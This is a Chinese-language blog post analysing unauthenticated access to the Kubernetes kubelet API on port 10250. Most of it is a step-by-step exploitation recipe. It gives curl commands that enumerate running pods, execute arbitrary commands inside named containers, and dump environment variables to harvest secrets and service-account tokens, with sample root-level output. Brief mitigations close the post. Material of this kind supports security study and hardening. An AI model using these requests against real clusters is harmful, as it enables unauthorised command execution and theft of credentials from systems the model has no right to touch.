Kubernetes未授权kubelet API 10250端口代码执行漏洞分析

本文详细分析了Kubernetes kubelet API 10250端口未授权访问漏洞,演示了如何通过该漏洞在容器内执行任意命令并获取敏感信息,提供了完整的漏洞复现过程和技术细节。

Kubernetes: 未授权kubelet API 10250端口代码执行

未授权API访问(10250端口)

大多数Kubernetes部署会为该端口配置认证。但通过"insecure API service"选项暴露该端口的情况仍时有发生。

任何能够访问kubelet服务端口(10250)的用户,即使没有证书,也可以在容器内执行任意命令。

基本命令执行

API路径格式:

1
/run/%namespace%/%pod_name%/%container_name%

示例:

1
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"

输出:

1
2
3
4
5
6
total 12
drwxr-xr-x   13 root     root           148 Aug 26 11:31 .
drwxr-xr-x   13 root     root           148 Aug 26 11:31 ..
-rwxr-xr-x    1 root     root             0 Aug 26 11:31 .dockerenv
drwxr-xr-x    2 root     root          8192 May  5 22:22 bin
[...]

获取容器环境变量

可以获取容器使用的所有secret(常见于环境变量中的kubelet tokens):

1
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system//" -d "cmd=env"

获取运行中的Pod信息

获取Kubernetes工作节点上所有调度的Pod和容器列表:

1
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

1
$ curl --insecure https://k8s-node-1:10250/runningpods | jq

漏洞利用示例

  1. 首先获取运行中的Pod信息:
1
curl --insecure https://1.2.3.4:10250/runningpods | jq
  1. 根据返回的Pod信息构造命令执行请求:
1
curl -k -XPOST "https://kube-node-here:10250/run/kube-system/kube-dns-5b8bf6c4f4-k5n2g/dnsmasq" -d "cmd=ls -la /"

输出示例:

1
2
3
4
5
6
total 35264
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 .
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 ..
-rwxr-xr-x    1 root     root             0 Nov  9 16:27 .dockerenv
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 bin
[...]

技术细节

该漏洞允许攻击者:

  1. 在容器内执行任意命令
  2. 获取敏感环境变量
  3. 枚举集群中的所有Pod和容器
  4. 通过挂载的secret获取服务账户token

防护建议:

  1. 禁用kubelet的未认证API访问
  2. 使用网络策略限制对10250端口的访问
  3. 定期审计集群配置
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计